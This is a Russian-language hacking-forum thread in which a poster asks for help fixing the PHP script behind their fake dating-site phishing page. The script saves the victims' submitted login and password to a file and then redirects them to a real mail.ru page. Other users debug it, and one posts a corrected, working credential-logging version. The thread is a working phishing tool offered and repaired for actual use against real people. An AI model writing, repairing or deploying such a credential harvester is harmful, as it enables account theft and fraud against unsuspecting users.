Просмотр полной версии : что же здесь не так то???
сделал очередной фэйк на знакомства, после ввода логина и пароля перекидывает человека куда нужно, к базе обращается и даже пишет в ней, но только двоеточие : , а не данные юзера
не глянете скрипт который за это отвечает, вроде всё проверил.....где ошибка?
<?PHP
$Login = $_POST['Login'];//?????
$Pass = $_POST['Password'];//??????
$fp = fopen("654321","a+"); // Îòêðûâàåì ôàéë áàçû
fwrite($fp,"$Login:$Passw\n"); // Çàïèñûâàåì ëîãèí:ïàðîëü
fclose($fp); // Çàêðûâàåì ôàéë
header(echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://cards.mail.ru/card.html
?>
fwrite($fp,"$Login:$Passw\n");
я думаю надо так
fwrite($fp,$Login.":".$Passw);
пробуй
Ferment Опечатка в коде, в одном месте $Pass в другом $Passw И еще одно - текст формы в студию, возможно поля называются не Login Password
сделал как написал diznt но результат не изменился. так и присылает на базу двоеточие и всё......
<?PHP
$Login = $_POST['Login'];//?????
$Pass = $_POST['Password'];//??????
$fp = fopen("654321","a+"); // Îòêðûâàåì ôàéë áàçû
fwrite($fp,$Login.":".$Pass); // Çàïèñûâàåì ëîãèí:ïàðîëü
fclose($fp); // Çàêðûâàåì ôàéë
header("Location: http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f");
echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"//???? ?????? ???????????? ????? ???? ??? ?? ???? ??????!
?>
$_POST['Password']
$_POST['Login']
скорей всего в этом дело-не правельные переменные пытаешься ловить
Pashkela
10.03.2009, 00:42
ТС просто не понимает, что он даже не весь код выложил
как уже говорили проверь в форме названия инпутов "Login", "Password".
Возможно данные с формы передаються методом get.
Вообщем, попробуй $_REQUEST['Login'] вместо $_POST['Login']
Я может и ламос, но вопрос такой: а не стоит ли переменные запятыми отделять??
fwrite($fp,$Login,":",$Passw);
если би хоть кто-то запустил, он би увидел ошибку
Parse error: parse error, expecting `')'' on line 9
<?php
$Login = $_POST['Login'];
$Pass = $_POST['Password'];
$fp = fopen("654321","a+");
fwrite($fp,"$Login:$Passw\n");
fclose($fp);
header(echo "<html><head><META HTTP-EQUIV='Refresh'
content ='0; URL=http://cards.mail.ru/card.html");
?>
видимо автор тупо скопировал скрипт
p.s.: даже при запуске пишет что ошибка на 9 строчке. так зачем ти ищеш ошибку во второй ?!
4adr0s,
int fwrite ( resource $handle, string $string [, int $length] )
$handle - хендл файла
$string - строка которую хочешь записать
$length - длина строки (этот параметр не объязателен)
т.е. максимум 3 параметра
а у тебя параметров 4
двоеточия только записывает?)))) ну а ты задал login и пассоврд $ ?)))
TC просто спец в кодинге :)
https://forum.antichat.ru/thread109648.html
<?php
if (isset($_POST['Login']) && isset($_POST['Password'])) {
$Login = $_POST['Login'];
$Pass = $_POST['Password'];
$fp = fopen("654321","a+");
fwrite($fp,"$Login:$Pass\n");
fclose($fp);
}
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://cards.mail.ru/card.html";
?>
и не говори что не работает!
все проверил, все окей!
Модери, тему можна close
p.s.: тс, подучи php для начала хотя-би.. =\\
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot